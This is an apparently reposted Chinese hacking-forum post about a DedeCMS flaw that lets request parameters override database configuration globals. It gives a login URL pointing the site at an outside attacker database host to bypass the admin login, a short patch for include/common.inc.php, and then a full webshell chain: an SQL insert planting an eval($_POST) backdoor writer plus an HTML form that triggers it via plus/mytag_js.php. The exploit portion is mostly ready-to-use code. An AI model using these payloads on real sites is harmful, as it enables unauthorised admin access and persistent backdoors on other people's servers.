众所周知,因使用简单、客户群多,织梦CMS一直被爆出许多漏洞。今天小编在群里得到织梦官方论坛某版主可靠消息:“DEDECMS爆严重安全漏洞,近期官方会发布相关补丁,望大家及时关注补丁动态。”
入侵步骤如下:http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
把上面黑底黄字上的字母改为当前的验证码,即可直接进入网站后台。

小编分析了一下,此漏洞的前提是必须得到后台路径才能实现,因此大家一定要养成使用DEDECM建站时改后台名字的习惯。下面给出官方的解决办法:

解决办法:
找到include/common.inc.php文件,把
foreach($_REQUEST as $_k=>$_v)<br />
    {<br />
        var_dump($_k);<br />
        if( strlen($_k)>0 && preg_match('#^(cfg_|GLOBALS)#',$_k) )<br />
        {<br />
            exit('Request var not allow!');<br />
        }<br />
    }

换成:
//检查和注册外部提交的变量<br />
    function CheckRequest(&$val) {<br />
        if (is_array($val)) {<br />
            foreach ($val as $_k=>$_v) {<br />
                CheckRequest($_k);<br />
                CheckRequest($val[$_k]);<br />
            }<br />
        } else<br />
        {<br />
            if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) )<br />
            {<br />
                exit('Request var not allow!');<br />
            }<br />
        }<br />
    } <br />
    CheckRequest($_REQUEST);



----------------------------------------------------------------------------------------------

漏洞细节已经传遍了,又没得玩了。网传的都是说要知道后台才能利用,但不用,只要 plus 目录存在,服务器能外连,就能拿shell
前题条件,必须准备好自己的dede数据库,然后插入数据:

insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "OK";@fclose($fp);{/dede:php}');
再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。

<form action="" method="post" name="QuickSearch" id="QuickSearch" onsubmit="addaction();"><br />
<input type="text" value="http://localhost:8080/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br /><input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br /><input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br /><input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br /><input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br /><input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br /><input type="text" value="true" name="nocache" style="width:400"><br />
<input type="submit" value="提交" name="QuickSearchBtn"><br /></form><br />
<script>
function addaction()

document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>

via:
http://t00ls.net/thread-17354-1-1.html
http://t00ls.net/thread-17355-1-1.html